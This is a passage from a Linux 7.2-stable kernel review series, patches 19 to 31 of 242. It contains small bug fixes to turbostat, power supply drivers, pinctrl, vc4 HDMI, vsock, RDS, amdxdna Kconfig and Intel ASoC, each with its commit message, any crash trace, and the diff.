--- tools/power/x86/turbostat/turbostat.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
tools/power/x86/turbostat/turbostat.c +1 -1
@@ -5915,7 +5915,7 @@ void free_fd_msr(void)if (!msr_counter_info)return ; -for (int cpu =0 ; cpu < topo.max_cpu_num; ++cpu) { +for (int cpu =0 ; cpu <= topo.max_cpu_num; ++cpu) {if (msr_counter_info[cpu].fd_perf !=-1 )close (msr_counter_info[cpu].fd_perf); }
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 19/242 tools/power turbostat: Fix CWF PMT off-by-one
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Len Brown <[email protected]>
[ Upstream commit 5e940dd96bef6ca03b3b1b4740351237e5ec17e3 ]
Fix off-by-one error causing last CPU on CWF
to never get a pmt counter allocated.
--- tools/power/x86/turbostat/turbostat.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
tools/power/x86/turbostat/turbostat.c +1 -1
@@ -10441,7 +10441,7 @@ void pmt_init(void) mod_num =0 ;/* Relative module number for current PMT file. */ /* Open the counter for each CPU. */ -for (cpu_num =0 ; cpu_num < topo.max_cpu_num;) { +for (cpu_num =0 ; cpu_num <= topo.max_cpu_num;) {if (cpu_is_not_allowed (cpu_num)) goto next_loop_iter;
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 20/242 tools/power turbostat: Fix PMT error path fd handling
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Len Brown <[email protected]>
[ Upstream commit 11741cc90f9176746b8595beab4fec8d736ebd18 ]
It is possible to leak a file descriptor if a diretory open succeeds, but the scan fails. Close the fd on error.
Also, on cleanup, check for NULL fd.
--- tools/power/x86/turbostat/turbostat.c | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-)
tools/power/x86/turbostat/turbostat.c +8 -3
@@ -2034,8 +2034,11 @@ const struct dirent *pmt_diriter_begin(struct pmt_diriter_t *iter, const char *preturn NULL ; num_names =scandir (pmt_root_path, &iter->namelist, pmt_telemdir_filter, pmt_telemdir_sort); -if (num_names ==-1 ) +if (num_names ==-1 ) { +closedir (iter->dir); + iter->dir =NULL ;return NULL ; + } } iter->current_name_idx =0 ;
@@ -2063,8 +2066,10 @@ void pmt_diriter_remove(struct pmt_diriter_t *iter) iter->num_names =0 ; iter->current_name_idx =0 ; -closedir (iter->dir); - iter->dir =NULL ; +if (iter->dir) { +closedir (iter->dir); + iter->dir =NULL ; + } }unsigned int pmt_counter_get_width (const struct pmt_counter *p)
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 21/242 tools/power turbostat: Fix add_counter issue if > 24 counters.
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Len Brown <[email protected]>
[ Upstream commit 154b96dab83fd953b9b82c8bcfa041cd6a9d74d3 ]
We allocate space for added counters ahead of time, and we arbitrarily chose 24 added counters of each type. If a future code flow hits this limit and continues, and then removes counters, we do a phantom increment and lose track of the number of added counters.
Increment the count only if there is no error.
--- tools/power/x86/turbostat/turbostat.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-)
tools/power/x86/turbostat/turbostat.c +6 -3
@@ -10675,10 +10675,11 @@ int add_counter(unsigned int msr_num, char *path, char *name,fprintf (stderr,"%s: %s FOUND\n" , __func__, name);break ; } -if (sys.added_thread_counters++ >=MAX_ADDED_THREAD_COUNTERS ) { +if (sys.added_thread_counters >=MAX_ADDED_THREAD_COUNTERS ) {warnx ("ignoring thread counter %s" , name);return -1 ; } + sys.added_thread_counters++;break ;case SCOPE_CORE : msrp =find_msrp_by_name (sys.cp, name);
@@ -10687,10 +10688,11 @@ int add_counter(unsigned int msr_num, char *path, char *name,fprintf (stderr,"%s: %s FOUND\n" , __func__, name);break ; } -if (sys.added_core_counters++ >=MAX_ADDED_CORE_COUNTERS ) { +if (sys.added_core_counters >=MAX_ADDED_CORE_COUNTERS ) {warnx ("ignoring core counter %s" , name);return -1 ; } + sys.added_core_counters++;break ;case SCOPE_PACKAGE : msrp =find_msrp_by_name (sys.pp, name);
@@ -10699,10 +10701,11 @@ int add_counter(unsigned int msr_num, char *path, char *name,fprintf (stderr,"%s: %s FOUND\n" , __func__, name);break ; } -if (sys.added_package_counters++ >=MAX_ADDED_PACKAGE_COUNTERS ) { +if (sys.added_package_counters >=MAX_ADDED_PACKAGE_COUNTERS ) {warnx ("ignoring package counter %s" , name);return -1 ; } + sys.added_package_counters++;break ;default :warnx ("ignoring counter %s with unknown scope" , name);
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 22/242 power: supply: generic-adc-battery: Fix temperature IIO channel conversion
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Svyatoslav Ryhel <[email protected]>
[ Upstream commit 6bca94e64255053ab2aa56f2588fda73d399b790 ]
Temperature IIO channel data is provided in milli-degrees, while POWER_SUPPLY_PROP_TEMP is expected to be in deci-degrees. Adjust the existing logic to reflect this conversion properly.
--- drivers/power/supply/generic-adc-battery.c | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-)
drivers/power/supply/generic-adc-battery.c +7 -2
@@ -90,12 +90,17 @@ static int gab_read_channel(struct gab *adc_bat, enum gab_chan_type channel,int ret; ret =iio_read_channel_processed (adc_bat->channel[channel], result); -if (ret <0 ) +if (ret <0 ) {dev_err (&adc_bat->psy->dev,"read channel error: %d\n" , ret); +return ret; + } + +if (channel ==GAB_TEMP ) + *result /=100 ;/* Convert from milli- to deci-degree */ else *result *=1000 ; -return ret; +return 0 ; } static int gab_get_property(struct power_supply *psy,
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 23/242 power: supply: core: prevent unregistering a power supply while a callback runs
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Alexey Charkov <[email protected]>
[ Upstream commit 5b4bd13e0552926648a46c2c9a12a24dfaee3715 ]
Once a power supply is registered, its callbacks can immediately start firing from other contexts, such as external_power_changed() triggered by the TCPM stack. If a power supply is unregistered while the callback is still running, the driver data can already be freed when the callback tries to access it, leading to a use-after-free.
This happens e.g. when the hardware bus carrying the power supply device malfunctions (e.g. I2C is hogged down by another malfunctioning device) immediately after the power supply is registered, and thus the core is still processing the callbacks which were queued up when the driver starts the removal, leading in some cases to a kernel crash, e.g.:
[ 11.645942] Unable to handle kernel NULL pointer dereference at virtual address 0000000000000005 [ 11.646751] Mem abort info: [ 11.647006] ESR = 0x0000000096000004 [ 11.647338] EC = 0x25: DABT (current EL), IL = 32 bits [ 11.647806] SET = 0, FnV = 0 [ 11.648077] EA = 0, S1PTW = 0 [ 11.648356] FSC = 0x04: level 0 translation fault [ 11.648785] Data abort info: [ 11.649041] ISV = 0, ISS = 0x00000004, ISS2 = 0x00000000 [ 11.649524] CM = 0, WnR = 0, TnD = 0, TagAccess = 0 [ 11.649981] GCS = 0, Overlay = 0, DirtyBit = 0 [ 11.650390] [0000000000000005] user address but active_mm is swapper [ 11.650955] Internal error: Oops: 0000000096000004 [#1] SMP [ 11.651460] Modules linked in: [ 11.651742] CPU: 1 UID: 0 PID: 144 Comm: kworker/1:2 Not tainted 7.2.0-rc6-g62a9297af2cd #1 PREEMPT [ 11.652553] Hardware name: Flipper One rev. F0B1C2 (DT) [ 11.653024] Workqueue: events power_supply_changed_work [ 11.653511] pstate: 60000005 (nZCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--) [ 11.654135] pc : __power_supply_is_supplied_by+0x18/0x100 [ 11.654624] lr : __power_supply_am_i_supplied+0x40/0xb8 [ 11.655098] sp : ffff80008192bb30 [ 11.655399] x29: ffff80008192bb30 x28: 0000000000000000 x27: 0000000000000000 [ 11.656049] x26: 0000000000000000 x25: 0000000000000000 x24: 0000000000000000 [ 11.656695] x23: ffff0000c19f4200 x22: ffffdb2232ba4ea8 x21: ffff80008192bc28 [ 11.657344] x20: ffff0000c1eef000 x19: ffff80008192bc18 x18: 00000000a0886e62 [ 11.657991] x17: 000000040044ffff x16: 04500072b5503510 x15: 0000000000000000 [ 11.658639] x14: 0000000000000000 x13: 0000000000000220 x12: 0000000000000000 [ 11.659286] x11: 0000000000000000 x10: ffff0000c1fdb2b0 x9 : ffffdb2232ba5590 [ 11.659934] x8 : 00000000e5b906e6 x7 : ffff0000c2502778 x6 : ffffdb22339793d0 [ 11.660581] x5 : ffff80008192bc18 x4 : ffff0000c19cbca0 x3 : 0000000000000000 [ 11.661228] x2 : ffff0000c1fdaf40 x1 : ffffffffffffffed x0 : ffff0000c1eef000 [ 11.661878] Call trace: [ 11.662103] __power_supply_is_supplied_by+0x18/0x100 (P) [ 11.662596] __power_supply_am_i_supplied+0x40/0xb8 [ 11.663040] psy_for_each_psy_cb+0x20/0x40 [ 11.663416] class_for_each_device+0x110/0x150 [ 11.663825] power_supply_am_i_supplied+0x68/0x100 [ 11.664262] bq257xx_external_power_changed+0x58/0x140 [ 11.664733] __power_supply_changed_work+0x60/0x80 [ 11.665170] psy_for_each_psy_cb+0x20/0x40 [ 11.665545] class_for_each_device+0x110/0x150 [ 11.665953] power_supply_changed_work+0x98/0x1b8 [ 11.666382] process_one_work+0x164/0x4c0 [ 11.666758] worker_thread+0x19c/0x320 [ 11.667104] kthread+0x138/0x150 [ 11.667408] ret_from_fork+0x10/0x20 [ 11.667744] Code: d503233f a9bd7bfd 910003fd a90153f3 (f9400c34) [ 11.668294] ---[ end trace 0000000000000000 ]---
Add a read-write semaphore between external_power_changed() and power_supply_unregister() to prevent the latter from returning (and thus the driver from freeing its data) while the callback is still running.
--- drivers/power/supply/power_supply_core.c | 26 +++++++++++++++++++++++- include/linux/power_supply.h | 10 +++++++++ 2 files changed, 35 insertions(+), 1 deletion(-)
drivers/power/supply/power_supply_core.c +25 -1
@@ -1377,6 +1377,19 @@ void power_supply_external_power_changed(struct power_supply *psy) !psy->desc->external_power_changed)return ; +/* +* Keep power_supply_unregister() from returning, and thus from letting +* the driver's data be freed, while the callback is running. The +* ->removing check has to happen under the lock: on its own, just like +* the use_cnt check above, it only tells us the supply was still there +* when we looked, not that it still is by the time the callback +* dereferences its driver data. +*/ +guard (rwsem_read)(&psy->epc_sem); + +if (psy->removing) +return ; + psy->desc->external_power_changed (psy); }EXPORT_SYMBOL_GPL (power_supply_external_power_changed);
@@ -1621,6 +1634,7 @@ __power_supply_register(struct device *parent, }spin_lock_init (&psy->changed_lock); +init_rwsem (&psy->epc_sem);init_rwsem (&psy->extensions_sem);INIT_LIST_HEAD (&psy->extensions);
@@ -1753,7 +1767,17 @@ EXPORT_SYMBOL_GPL(devm_power_supply_register);void power_supply_unregister (struct power_supply *psy) {WARN_ON (atomic_dec_return (&psy->use_cnt)); - psy->removing = true; + +/* +* Publish ->removing so that no new ->external_power_changed() call can +* start, and wait via semaphore for one that is already running: it may +* be a supplier's changed_work, which cancel_work_sync() below does not +* cover, and it may still dereference driver data that the caller is +* about to free. +*/ +scoped_guard (rwsem_write, &psy->epc_sem) + psy->removing = true; +cancel_work_sync (&psy->changed_work);cancel_delayed_work_sync (&psy->deferred_register_work);sysfs_remove_link (&psy->dev.kobj,"powers" );
include/linux/power_supply.h +10 -0
@@ -338,6 +338,16 @@ struct power_supply {bool removing;atomic_t use_cnt;struct power_supply_battery_info *battery_info; +/* +* Held for read while ->external_power_changed() runs, and for write by +* power_supply_unregister() when it publishes @removing, so that it +* waits for an in-flight callback to finish. Without this a driver's +* data, typically devm-allocated on its own device, can be freed while +* the callback is still using it. +* Must not be shared with extensions_sem: callbacks may read their own +* properties, which takes that one for read. +*/ +struct rw_semaphore epc_sem;struct rw_semaphore extensions_sem;/* protects "extensions" */ struct list_head extensions;#ifdef CONFIG_THERMAL
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 24/242 pinctrl: qcom: ipq5018: replace gcc_plltest with pwm2 on gpio12
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Adriel Santos <[email protected]>
[ Upstream commit 709ba1c547eaf37da36ded2ecf3ea4e304cdfa9a ]
The pingroup table has gcc_plltest at function 5 of gpio12 and does not offer pwm2 on that pin, so the pinmux core rejects a request for pwm2 on gpio12 as an invalid group. On the hardware, function 5 of gpio12 carries the PWM2 output: the Xiaomi AX3000T v2 drives its blue status LED from PWM2 on gpio12.
The vendor kernel shipped on that router (Linux 4.4, stock firmware 2.0.28) has pwm2 in this slot. Its pingroup table, as read from the firmware image, lists these functions for gpio12:
gpio, blsp0_spi, blsp0_i2c, blsp1_uart0, _, pwm2, qdss_tracedata_a, _, _, _
and has pwm3 at function 4 of gpio13, matching commit c6c159fcdb4e ("pinctrl: qcom: ipq5018: add missing pwm3 function on gpio13").
Measured on the board: with gpio12 set to each of the 16 function values in turn, and PWM2 held at 0% and then at 100% duty, the pad level read back from GPIO_IN follows PWM2 only at function 5. There it does not follow PWM channels 0, 1 or 3, and the LED switches with PWM2. Functions 4 and 7, which the table leaves empty, do not carry PWM2.
Put pwm2 in function 5 of gpio12 and list gpio12 in pwm2_groups. Drop gpio12 from gcc_plltest_groups: none of its functions is gcc_plltest any more, and selecting it would trigger the WARN_ON() in msm_pinmux_set_mux().
--- drivers/pinctrl/qcom/pinctrl-ipq5018.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-)
drivers/pinctrl/qcom/pinctrl-ipq5018.c +3 -3
@@ -361,7 +361,7 @@ static const char * const blsp1_uart0_groups[] = { };static const char *const gcc_plltest_groups[] = { -"gpio10" ,"gpio12" , +"gpio10" , };static const char *const gcc_tlmm_groups[] = {
@@ -555,7 +555,7 @@ static const char * const qdss_cti_trig_in_b0_groups[] = { };static const char *const pwm2_groups[] = { -"gpio44" , +"gpio12" ,"gpio44" , };static const char *const qdss_cti_trig_out_b1_groups[] = {
@@ -688,7 +688,7 @@ static const struct msm_pingroup ipq5018_groups[] = {PINGROUP (9 , sdc1_clk, qspi_clk, _, qdss_tracedata_a, _, _, _, _, _),PINGROUP (10 , blsp0_spi, blsp1_uart0, led0, gcc_plltest, qdss_tracedata_a, _, _, _, _),PINGROUP (11 , blsp0_spi, blsp1_uart0, _, gcc_tlmm, qdss_tracedata_a, _, _, _, _), -PINGROUP (12 , blsp0_spi, blsp0_i2c, blsp1_uart0, _, gcc_plltest, qdss_tracedata_a, _, _, _), +PINGROUP (12 , blsp0_spi, blsp0_i2c, blsp1_uart0, _, pwm2, qdss_tracedata_a, _, _, _),PINGROUP (13 , blsp0_spi, blsp0_i2c, blsp1_uart0, pwm3, qdss_tracedata_a, _, _, _, _),PINGROUP (14 , pcie0_clk, _, _, cri_trng0, qdss_tracedata_a, _, _, _, _), PINGROUP(15, _, _, cri_trng1, qdss_tracedata_a, _, _, _, _, _),
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 25/242 pinctrl: sunxi: dt: do not accumulate npins across probe attempts
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Pablo Mazzini <[email protected]>
[ Upstream commit c5895eadf287116434b7b01d67b92e8146f7ff61 ]
init_pins_table() adds to npins in the driver's static descriptor, so after a probe deferral the count doubles and the next probe fails with "pin 0 already registered". Reset it first.
--- drivers/pinctrl/sunxi/pinctrl-sunxi-dt.c | 1 + 1 file changed, 1 insertion(+)
drivers/pinctrl/sunxi/pinctrl-sunxi-dt.c +1 -0
@@ -84,6 +84,7 @@ static struct sunxi_desc_pin *init_pins_table(struct device *dev,* Find the total number of pins. * Also work out how much memory we need to store all the pin names. */ + desc->npins =0 ;for (i =0 ; i <SUNXI_PINCTRL_MAX_BANKS ; i++) { desc->npins += pins_per_bank[i];if (pins_per_bank[i] <10 ) {
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 26/242 drm/vc4: hdmi: Move packet RAM enable to PM runtime
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Dave Stevenson <[email protected]>
[ Upstream commit 3f57b34485dc01e5a2db60a89a6ae5439a897e53 ]
Audio can be triggered by the HPD handler and start up before video has been restored, calling vc4_hdmi_write_infoframe() for the audio infoframe. vc4_hdmi_write_infoframe() needs Packet RAM to be on to store the infoframe, however, if the video hasn't been enabled, vc4_hdmi_encoder_post_crtc_enable() hasn't been called and therefore, the Packet RAM can be disabled by the time vc4_hdmi_write_infoframe() executes, causing the following splat:
[ 201.570266] ------------[ cut here ]------------ [ 201.570293] Packet RAM has to be on to store the packet. [ 201.570367] WARNING: drivers/gpu/drm/vc4/vc4_hdmi.c:683 at vc4_hdmi_write_infoframe+0x404/0x494 [vc4], CPU#0: wireplumber/1606 [...] [ 201.658650] Hardware name: Raspberry Pi 4 Model B Rev 1.5 (DT) [...] [ 201.758499] Call trace: [ 201.760967] vc4_hdmi_write_infoframe+0x404/0x494 [vc4] (P) [ 201.766607] vc4_hdmi_write_audio_infoframe+0x1c/0x28 [vc4] [ 201.772247] write_infoframe+0xbc/0x140 [drm_display_helper] [ 201.777975] drm_atomic_helper_connector_hdmi_update_audio_infoframe+0x80/0xdc [drm_display_helper] [ 201.787140] vc4_hdmi_audio_prepare+0x4ac/0x570 [vc4] [ 201.792252] drm_connector_hdmi_audio_prepare+0x24/0x30 [drm_display_helper] [ 201.799390] hdmi_codec_prepare+0x100/0x160 [snd_soc_hdmi_codec] [ 201.805471] snd_soc_pcm_dai_prepare+0xd4/0x100 [snd_soc_core] [ 201.811375] __soc_pcm_prepare+0x60/0x12c [snd_soc_core] [ 201.816752] soc_pcm_prepare+0x34/0x58 [snd_soc_core] [ 201.821863] snd_pcm_do_prepare+0x70/0x8c [snd_pcm] [ 201.826798] snd_pcm_action_nonatomic+0xe4/0x174 [snd_pcm] [ 201.832350] snd_pcm_prepare+0xc8/0xd8 [snd_pcm] [ 201.837021] snd_pcm_common_ioctl+0x458/0x614 [snd_pcm] [ 201.842308] snd_pcm_ioctl+0x30/0x48 [snd_pcm] [ 201.846802] __arm64_sys_ioctl+0x88/0xd8 [ 201.850769] invoke_syscall+0x48/0xf4 [ 201.854470] el0_svc_common+0x80/0xd8 [ 201.858171] do_el0_svc+0x1c/0x28 [ 201.861520] el0_svc+0x3c/0xb0 [ 201.864605] el0t_64_sync_handler+0x68/0xdc [ 201.868834] el0t_64_sync+0x198/0x19c [ 201.872536] ---[ end trace 0000000000000000 ]---
Considering that Packet RAM enable is essentially a power management configuration, move its enabling/disabling to the Runtime PM hooks.
Note that post_crtc_disable() still stops all infoframes, but keeps Packet RAM enabled, leaving it to be disabled by runtime suspend.
--- drivers/gpu/drm/vc4/vc4_hdmi.c | 20 +++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-)
drivers/gpu/drm/vc4/vc4_hdmi.c +11 -9
@@ -894,7 +894,7 @@ static void vc4_hdmi_encoder_post_crtc_disable(struct drm_encoder *encoder,spin_lock_irqsave (&vc4_hdmi->hw_lock, flags); -HDMI_WRITE (HDMI_RAM_PACKET_CONFIG ,0 ); +HDMI_WRITE (HDMI_RAM_PACKET_CONFIG ,VC4_HDMI_RAM_PACKET_ENABLE );HDMI_WRITE (HDMI_VID_CTL ,HDMI_READ (HDMI_VID_CTL ) |VC4_HD_VID_CTL_CLRRGB );
@@ -1663,9 +1663,6 @@ static void vc4_hdmi_encoder_post_crtc_enable(struct drm_encoder *encoder,WARN_ONCE (ret,"Timeout waiting for " "VC4_HDMI_SCHEDULER_CONTROL_HDMI_ACTIVE\n" ); }else { -HDMI_WRITE (HDMI_RAM_PACKET_CONFIG , -HDMI_READ (HDMI_RAM_PACKET_CONFIG ) & - ~(VC4_HDMI_RAM_PACKET_ENABLE ));HDMI_WRITE (HDMI_SCHEDULER_CONTROL ,HDMI_READ (HDMI_SCHEDULER_CONTROL ) & ~VC4_HDMI_SCHEDULER_CONTROL_MODE_HDMI );
@@ -1684,9 +1681,6 @@ static void vc4_hdmi_encoder_post_crtc_enable(struct drm_encoder *encoder,WARN_ON (!(HDMI_READ (HDMI_SCHEDULER_CONTROL ) &VC4_HDMI_SCHEDULER_CONTROL_HDMI_ACTIVE )); -HDMI_WRITE (HDMI_RAM_PACKET_CONFIG , -VC4_HDMI_RAM_PACKET_ENABLE ); -spin_unlock_irqrestore (&vc4_hdmi->hw_lock, flags); vc4_hdmi->packet_ram_enabled = true;
@@ -3143,6 +3137,11 @@ static int vc5_hdmi_init_resources(struct drm_device *drm,static int vc4_hdmi_runtime_suspend (struct device *dev) {struct vc4_hdmi *vc4_hdmi =dev_get_drvdata (dev); +unsigned long flags; + +spin_lock_irqsave (&vc4_hdmi->hw_lock, flags); +HDMI_WRITE (HDMI_RAM_PACKET_CONFIG ,0 ); +spin_unlock_irqrestore (&vc4_hdmi->hw_lock, flags);clk_disable_unprepare (vc4_hdmi->audio_clock);clk_disable_unprepare (vc4_hdmi->hsm_clock);
@@ -3153,9 +3152,8 @@ static int vc4_hdmi_runtime_suspend(struct device *dev)static int vc4_hdmi_runtime_resume (struct device *dev) {struct vc4_hdmi *vc4_hdmi =dev_get_drvdata (dev); -unsigned long __maybe_unused flags; +unsigned long rate, flags;u32 __maybe_unused value; -unsigned long rate;int ret; ret =clk_prepare_enable (vc4_hdmi->hsm_clock);
@@ -3201,6 +3199,10 @@ static int vc4_hdmi_runtime_resume(struct device *dev) }#endif +spin_lock_irqsave (&vc4_hdmi->hw_lock, flags); +HDMI_WRITE (HDMI_RAM_PACKET_CONFIG ,VC4_HDMI_RAM_PACKET_ENABLE ); +spin_unlock_irqrestore (&vc4_hdmi->hw_lock, flags); +return 0 ; err_disable_clk:
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 27/242 gpio: nct6694: Mark the GPIO controller as sleeping
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Ming Yu <[email protected]>
[ Upstream commit fcbc48dc650d2f58bfe19c4486830de0e9cad62e ]
The GPIO callbacks take a mutex and issue USB transfers, so this GPIO chip must not be used in atomic context. Change the can_sleep switch in struct gpio_chip to true.
--- drivers/gpio/gpio-nct6694.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/gpio/gpio-nct6694.c +1 -1
@@ -444,7 +444,7 @@ static int nct6694_gpio_probe(struct platform_device *pdev) data->gpio.set_config = nct6694_set_config; data->gpio.init_valid_mask = nct6694_init_valid_mask; data->gpio.base =-1 ; - data->gpio.can_sleep = false; + data->gpio.can_sleep = true; data->gpio.owner =THIS_MODULE ; data->gpio.ngpio =NCT6694_NR_GPIO ;
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 28/242 vsock: treat TCP_CLOSING as once-established
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Michal Luczaj <[email protected]>
[ Upstream commit 4f6ac74fa594a918d41255c941256e1d51592d3b ]
Handle the TCP_ESTABLISHED -> TCP_CLOSING transition on OP_RST, which can race with the connect loop. Immediately break and return 0 on ESTABLISHED/CLOSING. The return value of connect() should reflect what happened up to the point the connection was established or failed. Events that occur afterwards must not affect it. E.g. even if OP_RW has already set sk_err, connect() should still return 0, not ENOBUFS because of it. Adapt the inaccurate comment above signal_pending().
Resetting a socket that is still present in connected_table can lead to memory corruption. The reporter noted lost transports for in-flight skbs, and I have reproduced crashes caused by re-insertion into connected_table.
list_add double add: new=, prev=, next=.
kernel BUG at lib/list_debug.c:35!
Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI Workqueue: vsock-loopback vsock_loopback_work RIP: 0010:__list_add_valid_or_report+0x11f/0x130 Call Trace: vsock_insert_connected.cold+0xe/0x13 virtio_transport_recv_pkt+0x10e9/0x1460 vsock_loopback_work+0x305/0x480 process_one_work+0xe4c/0x1560 worker_thread+0x4f1/0xd60 kthread+0x36e/0x470 ret_from_fork+0x47b/0x6b0 ret_from_fork_asm+0x1a/0x30
This fix is supplementary to commit 002541ef650b ("vsock: Ignore signal/timeout on connect() if already established"). Details under Link.
--- net/vmw_vsock/af_vsock.c | 17 ++++++++--------- 1 file changed, 8 insertions(+), 9 deletions(-)
net/vmw_vsock/af_vsock.c +8 -9
@@ -1809,23 +1809,22 @@ static int vsock_connect(struct socket *sock, struct sockaddr_unsized *addr, timeout =schedule_timeout (timeout);lock_sock (sk); -/* Connection established. Whatever happens to socket once we -* release it, that's not connect()'s concern. No need to go +/* Connection was established. Whatever happens to socket once +* we release it, that's not connect()'s concern. No need to go * into signal and timeout handling. Call it a day. * * Note that allowing to "reset" an already established socket * here is racy and insecure. */ -if (sk->sk_state ==TCP_ESTABLISHED ) -break ; +if (sk->sk_state ==TCP_ESTABLISHED || + sk->sk_state ==TCP_CLOSING ) { + err =0 ; + goto out_wait; + }/* If connection was _not_ established and a signal/timeout came * to be, we want the socket's state reset. User space may want -* to retry. -* -* sk_state != TCP_ESTABLISHED implies that socket is not on -* vsock_connected_table. We keep the binding and the transport -* assigned. +* to retry, so we keep the binding and the transport assigned. */ if (signal_pending (current) || timeout ==0 ) { err = timeout ==0 ? -ETIMEDOUT :sock_intr_errno (timeout);
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 29/242 net/rds: dont let the rdma_cm destroy an id RDS still owns on route failure
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Allison Henderson <[email protected]>
[ Upstream commit 98d446b7c013254a8a7b49720557676a3a851fde ]
rds_rdma_cm_event_handler_cmn() hands the return value of rdma_resolve_route() straight back to the rdma_cm on RDMA_CM_EVENT_ADDR_RESOLVED. A synchronous failure there - -ENOMEM from the route work allocation, an SA query that cannot be set up, a RoCE route with no usable device - makes addr_handler() destroy the id the event was delivered on. That id is ic->i_cm_id, and nothing clears the pointer: the connection sits in RDS_CONN_CONNECTING with a freed id until its shutdown calls rdma_disconnect() and rdma_destroy_id() on it.
The ROUTE_RESOLVED case already avoids this: rds_ib_cm_initiate_connect() forces a zero return while ic->i_cm_id == cm_id, as the comment there explains. Do the same here - drop the connection and return 0 - so the id stays RDS's to destroy from the shutdown, and the reconnect gets a fresh one.
--- net/rds/rdma_transport.c | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-)
net/rds/rdma_transport.c +11 -1
@@ -89,9 +89,19 @@ static int rds_rdma_cm_event_handler_cmn(struct rdma_cm_id *cm_id,if (conn) {rdma_set_service_type (cm_id, conn->c_tos);rdma_set_min_rnr_timer (cm_id,IB_RNR_TIMER_000_32 ); -/* XXX do we need to clean up if this fails? */ ret =rdma_resolve_route (cm_id,RDS_RDMA_RESOLVE_TIMEOUT_MS ); +if (ret) { +/* A non-zero return has the rdma_cm destroy +* the id, but it is still ic->i_cm_id, which +* the connection's shutdown would then +* disconnect and destroy again. Drop the +* connection and keep the id for that +* shutdown. +*/ +rds_conn_drop (conn); + ret =0 ; + } }break ;
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 30/242 accel/amdxdna: Fix Kconfig invalid configuration
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Liam R. Howlett <[email protected]>
[ Upstream commit 8240e19d329e9e1502fc96608d8afe6861e9df90 ]
The amdxdna has a soft dependency on the amd_pmf module. It will use an exported function if it is available and fall back to another function if it is not enabled.
amdxdna and amd_pmf are tridstate modules supporting both built [y] and modularized [m] in the .config file. Since the amdxdna decides to use the amd_pmf if it is either a module or built in (see drivers/accel/amdxdna/aie2_pci.h), then there is an issue if they are not compiled either both as modules or both as built-in.
Adding the optional dependency to Kconfig does not allow the configuration from being selected.
--- drivers/accel/amdxdna/Kconfig | 1 + 1 file changed, 1 insertion(+)
drivers/accel/amdxdna/Kconfig +1 -0
@@ -6,6 +6,7 @@ config DRM_ACCEL_AMDXDNA depends on DRM_ACCEL depends on PCI && HAS_IOMEM depends on X86_64 + depends on AMD_PMF || !AMD_PMF select DRM_SCHED select DRM_GEM_SHMEM_HELPER select FW_LOADER
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 31/242 ASoC: Intel: avs: Reset the stream unless it is already prepared
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Sergey Tiraspolsky <[email protected]>
[ Upstream commit f6be9f558a83fe30a03bd3adae461c821a0cef8c ]
Commit cfca1637bc2b ("ASoC: Intel: avs: Unprepare a stream when XRUN occurs") resets the HDA stream when ->prepare() is called in the XRUN state. User space does not always recover that way. PipeWire's ALSA backend recovers from an underrun with snd_pcm_drop(), snd_pcm_prepare() and a new start, so ->prepare() runs in the SETUP state, hdac_stream->prepared is still set and the reset is skipped. Every recovery attempt then fails the same way:
spa.alsa: hw:avsmax98927,1p: snd_pcm_avail after recover: Broken pipe
On a Google Pixelbook (Kaby Lake, max98927 speakers) this happens after an occasional underrun during normal playback and silences the speakers for one to four minutes, until the PCM is closed. It can be provoked by stopping PipeWire with SIGSTOP for 0.5 s during playback: in one run that single underrun led to 1297 failed recoveries over two minutes, until the sink was suspended. A plain alsa-lib program that recovers with snd_pcm_drop() and snd_pcm_prepare() hits the same loop, while snd_pcm_prepare() straight from XRUN recovers at once.
Skip the reset only when the stream is already PREPARED, the repeated ->prepare() case the check exists for, and reset it otherwise. With this change both kinds of recovery succeed with a single restart.
--- sound/soc/intel/avs/pcm.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
sound/soc/intel/avs/pcm.c +1 -1
